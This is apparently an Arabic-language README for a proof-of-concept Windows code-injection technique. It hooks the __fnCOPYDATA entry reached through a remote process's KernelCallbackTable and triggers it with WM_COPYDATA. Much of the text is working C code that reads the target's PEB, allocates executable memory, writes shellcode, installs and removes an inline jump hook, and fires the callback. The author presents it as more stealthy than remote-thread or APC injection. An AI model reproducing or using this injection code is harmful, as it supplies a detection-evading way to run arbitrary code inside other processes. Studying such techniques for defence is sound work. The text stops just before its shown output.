
استغلال آلية استدعاء النواة في win32k.sys لتنفيذ كود عشوائي
تم توفير هذا المستودع لأغراض التعليم والبحث الدفاعي فقط.
يستعرض آليات توزيع الاستدعاءات الداخلية في ويندوز ومفاهيم تدفق التحكم المتعلقة بـ KernelCallbackTable في سياق إثبات المفهوم.
لا يتحمل المؤلف أي مسؤولية عن إساءة الاستخدام.
تقوم هذه التقنية الحقنية باستغلال مسار توزيع الاستدعاءات من النواة إلى وضع المستخدم المستخدم من قِبل النظام الفرعي الرسومي في ويندوز (win32k.sys) للحصول على تنفيذ تعليمات برمجية داخل عملية بعيدة. من خلال تحديد موقع KernelCallbackTableعبرProcess Environment Block (PEB)` للعملية الهدف، يمكن للمشغِّل تعداد إدخالات الاستدعاء وتحديد الإجراءات الشرعية في وضع المستخدم التي يتم استدعاؤها أثناء انتقالات النواة المرتبطة بواجهة المستخدم الرسومية.
بدلاً من تنفيذ KernelCallbackTable Injection التقليدية، حيث يتم استبدال إدخال استدعاء مباشرةً بعنوان الشيلكود، يقوم هذا التنويع بتعليق خطاف على الهدف الشرعي للاستدعاء المشار إليه في الجدول ويعيد توجيه التنفيذ إلى شيلكود يتحكم فيه المهاجم عند الاستدعاء. ولأنه يتم اختطاف التنفيذ من خلال مسار استدعاء موجود ومتوقع، يمكن لهذه التقنية أن توفر بديلاً أكثر خفية مقارنةً بالبدائيات التقليدية مثل إنشاء خيط بعيد أو APC-based injection.
يفوّض النظام الفرعي الرسومي في ويندوز جزءًا من معالجة واجهة المستخدم الرسومية إلى وضع المستخدم عبر آلية استدعاء تبدأ من وضع النواة. عندما يتطلب win32k.sys تنفيذ منطق داخل سياق عملية رسومية، فإنه يستدعي KeUserModeCallback لإجراء انتقال متحكم فيه من وضع النواة إلى وضع المستخدم مع الحفاظ على حدود العزل بين سياقي التنفيذ.
هذا الانتقال يؤسس مسار التنفيذ الشرعي الذي من خلاله تقوم النواة بتوزيع استدعاءات النظام الفرعي الرسومي إلى وضع المستخدم—وهو نفس المسار الذي يتم استغلاله لاحقًا في التقنية المعروضة.
بمجرد اكتمال الانتقال، يدخل التنفيذ إلى KiUserCallbackDispatcher، وهو إجراء في ntdll.dll مسؤول عن استقبال فهرس الاستدعاء المقدم من النواة وتوجيه التنفيذ إلى معالج الاستدعاء المناسب في وضع المستخدم. يعمل هذا الإجراء كنقطة دخول إلزامية لجميع الاستدعاءات التي تبدأ عبر KeUserModeCallback.
بما أن جميع عمليات تحليل الاستدعاءات تتقارب عند هذا الموزع، فإن KiUserCallbackDispatcher يعمل كمحور مركزي بين طلبات استدعاءات النواة وتنفيذها النهائي في وضع المستخدم.
لتحديد وجهة الاستدعاء المطلوب، يرجع KiUserCallbackDispatcher إلى KernelCallbackTable المخزن في PEB الخاص بالعملية الهدف. يحتوي كل إدخال في الجدول على مؤشر لإجراء استدعاء في وضع المستخدم مرتبط بعملية محددة في النظام الفرعي الرسومي، ويُنفَّذ عادةً في user32.dll.
تقنيات KernelCallbackTable Injection التقليدية تقوم باستبدال إدخال أو أكثر من هذه الإدخالات مباشرةً لإعادة توجيه التنفيذ. ورغم فعاليتها، فإن تعديل الجدول نفسه يُحدث تشوهات بنيوية يمكن اكتشافها بسهولة عبر التحقق من سلامة PEB أو محتويات جدول الاستدعاءات. تتجنب التقنية المعروضة ذلك من خلال الحفاظ على بنية الجدول واستبدال هدف الاستدعاء المشار إليه بالإدخال عبر خطاف (detour).
من بين إدخالات KernelCallbackTable المتاحة، يوفر __fnCOPYDATA بدائية تشغيل (trigger) مريحة بشكل خاص لأنه يمكن استدعاؤها خارجيًا عن طريق إرسال رسالة WM_COPYDATA عبر SendMessage(). وهذا يسمح بتشغيل الاستدعاء بشكل حتمي دون الحاجة إلى حالة عملية غير عادية أو تفاعل معقد.
من خلال استغلال هدف استدعاء طبيعي وسهل الوصول ويُستخدم بشكل متكرر، تحصل التقنية على بدائية تنفيذ موثوقة مع بقائها بالكامل ضمن سلسلة توزيع الاستدعاءات المتوقعة قبل إعادة التوجيه.

تبدأ التقنية بتحديد موقع العملية الهدف وقراءة PEB الخاص بها لاستعادة عنوان KernelCallbackTable، ومنه يتم تحليل مؤشر الاستدعاء الخاص بـ __fnCOPYDATA. ثم يتم تخصيص ذاكرة قابلة للتنفيذ داخل العملية البعيدة، وتُكتب الشيلكود التي يتحكم بها المهاجم في المنطقة المخصصة. قبل التعديل، يتم الحفاظ على البايتات الأصلية لإجراء الاستدعاء الشرعي لتمكين الاستعادة لاحقًا.
بعد ذلك، يتم تثبيت خطاف inline في بداية إجراء __fnCOPYDATA الذي تم تحليله، ليحل محل المقدمة (prologue) الخاصة به بقفزة مطلقة إلى الشيلكود المحقونة. لتشغيل التنفيذ، يتم إرسال رسالة WM_COPYDATA إلى النافذة الهدف، مما يؤدي إلى قيام النظام الفرعي الرسومي في ويندوز بتوزيع __fnCOPYDATA عبر سلسلة استدعاءات kernel-to-user القياسية. بعد اكتمال التنفيذ، يتم استعادة البايتات الأصلية للاستدعاء للحفاظ على استقرار العملية وتقليل آثار التعديل المتبقية.
يقع KernelCallbackTable عند الإزاحة 0x58 داخل PEB:

يتم استخدام المنطق التالي للحصول عليه:
PROCESS_BASIC_INFORMATION pbi;
PEB peb;
KERNELCALLBACKTABLE kct;
if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
/* Read remote PEB */
if (NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
/* Ensure KernelCallbackTable is present */
if (!peb.KernelCallbackTable) {
NtClose(hProcess);
return 1;
}
/* Read KernelCallbackTable contents */
if (NtReadVirtualMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
يبدأ الكود باستدعاء NtQueryInformationProcess مع فئة معلومات ProcessBasicInformation لملء بنية PROCESS_BASIC_INFORMATION، والتي تكشف عن عنوان PEB الخاص بالعملية البعيدة من خلال حقل PebBaseAddress.
بعد ذلك، تُستخدم NtReadVirtualMemory لقراءة PEB البعيد في بنية PEB محلية، مما يسمح باستخراج مؤشر KernelCallbackTable المخزن داخل بيئة العملية. بعد التحقق من وجود جدول الاستدعاءات، تقوم استدعاء ثانٍ لـ NtReadVirtualMemory بنسخ بنية KERNELCALLBACKTABLE البعيدة إلى الذاكرة المحلية، مما يتيح التحليل المباشر لأهداف الاستدعاء مثل __fnCOPYDATA لتوجيهها لاحقًا.

PVOID remoteShellcodeAddr = NULL;
SIZE_T shellcodeSize = sizeof(g_CalcSh);
if (NtAllocateVirtualMemory(hProcess, &remoteShellcodeAddr, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == STATUS_SUCCESS) {
if (NtWriteVirtualMemory(hProcess, remoteShellcodeAddr, g_CalcSh, sizeof(g_CalcSh), NULL) == STATUS_SUCCESS) {
printf("[+] shellcode @ 0x%p\n", remoteShellcodeAddr);
NtAllocateVirtualMemory يخصص ذاكرة قابلة للتنفيذ داخل العملية البعيدة ويعيد عنوانها الأساسي عبر remoteShellcodeAddr. يُشتق حجم التخصيص من طول مخزن الشيلكود.
NtWriteVirtualMemory ينسخ بعد ذلك الشيلكود إلى المنطقة المخصصة، ليرحّز الحمولة في العملية المستهدفة ليقوم تنفيذها لاحقًا عبر خطاف الاستدعاء.
int InitializeHookRemote(HANDLE hProcess, PVOID pRemoteFunc, PVOID pRemoteDetour, PINLINEHOOKTABLE Hook) {
if (!pRemoteFunc || !pRemoteDetour || !Hook || !NtProtectVirtualMemory || !NtReadVirtualMemory) return 0;
Hook->pOriginalFunction = pRemoteFunc;
Hook->pFunctionDetour = pRemoteDetour;
if (NtReadVirtualMemory(hProcess, pRemoteFunc, Hook->pObjBytes, JMP_SIZE, NULL) != STATUS_SUCCESS) return 0;
PVOID pBaseAddress = pRemoteFunc;
SIZE_T sRegionSize = JMP_SIZE;
if (NtProtectVirtualMemory(hProcess, &pBaseAddress, &sRegionSize, PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection) != STATUS_SUCCESS) return 0;
return 1;
}
InitializeHookRemote يهيئ هدف الاستدعاء البعيد للتوجيه (detouring) عن طريق تخزين عنواني الدالة الأصلية والدالة البديلة داخل بنية INLINEHOOKTABLE. يحافظ على مقدمة الاستدعاء الأصلية بقراءة البايتات الأولى من الإجراء الهدف باستخدام NtReadVirtualMemory، ثم يغير حماية تلك المنطقة إلى PAGE_EXECUTE_READWRITE باستخدام NtProtectVirtualMemory حتى يمكن تصحيحها بأمان.
int InstallHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory) return 0;
BYTE g_Jump[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pRemoteDetour
0x41, 0xFF, 0xE2 // jmp r10
};
UINT64 uPatch = (UINT64)(Hook->pFunctionDetour);
RtlCopyMemory(&g_Jump[2], &uPatch, sizeof(uPatch));
if (NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, g_Jump, sizeof(g_Jump), NULL) != STATUS_SUCCESS) return 0;
printf("[+] Hook installed in remote process @ 0x%p\n", Hook->pOriginalFunction);
return 1;
}
InstallHookRemote ينشئ كتلة قفزة مطلقة بتنسيق x64 (mov r10, <detour>; jmp r10) تعيد توجيه التنفيذ إلى الشيلكود المحقونة. تُكتب كتلة القفزة فوق بداية إجراء الاستدعاء الهدف عبر NtWriteVirtualMemory، مما يثبّت الخطاف المضمّن فعليًا.
int RemoveHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory || !NtProtectVirtualMemory) return 0;
ULONG tmpProtection = 0;
PVOID funcBaseAddr = Hook->pOriginalFunction;
SIZE_T regionSize = JMP_SIZE;
NTSTATUS status = NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, Hook->pObjBytes, JMP_SIZE, NULL);
NtProtectVirtualMemory(hProcess, &funcBaseAddr, ®ionSize, Hook->dwOldProtection, &tmpProtection);
return (status == STATUS_SUCCESS);
}
RemoveHookRemote يستعيد إجراء الاستدعاء الأصلي عن طريق كتابة البايتات المحفوظة للمقدمة المخزنة في بنية INLINEHOOKTABLE. ثم يعيد خصائص الحماية الأصلية للذاكرة للمنطقة التي تم تعديلها باستخدام NtProtectVirtualMemory، مما يزيل الخطاف المضمّن ويعيد هدف الاستدعاء إلى حالته الأولية.
INLINEHOOKTABLE FnCopyDataHook = { 0 };
if (InitializeHookRemote(hProcess, kct.__fnCOPYDATA, remoteShellcodeAddr, &FnCopyDataHook)) {
if (InstallHookRemote(hProcess, &FnCopyDataHook)) {
printf("[>] Triggering WM_COPYDATA callback...\n");
COPYDATASTRUCT cds = {
1,
(DWORD)wcslen(msg) * sizeof(WCHAR),
msg
};
SendMessageW(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
RemoveHookRemote(hProcess, &FnCopyDataHook);
}
}
لتشغيل التنفيذ، يتم إرسال رسالة WM_COPYDATA إلى النافذة الهدف عبر SendMessageW، مما يجبر مزود توزيع الاستدعاءات في ويندوز على استدعاء إجراء __fnCOPYDATA المثبت عليه الخطاف عبر مسار الاستدعاء المعتاد من النواة إلى وضع المستخدم. بعد اكتمال التنفيذ، يقوم RemoveHookRemote باستعادة البايتات الأصلية للاستدعاء للحفاظ على استقرار العملية.
بمجرد تنفيذ المنطق، يمكن تشغيل إثبات المفهوم لإنتاج النتيجة التالية:
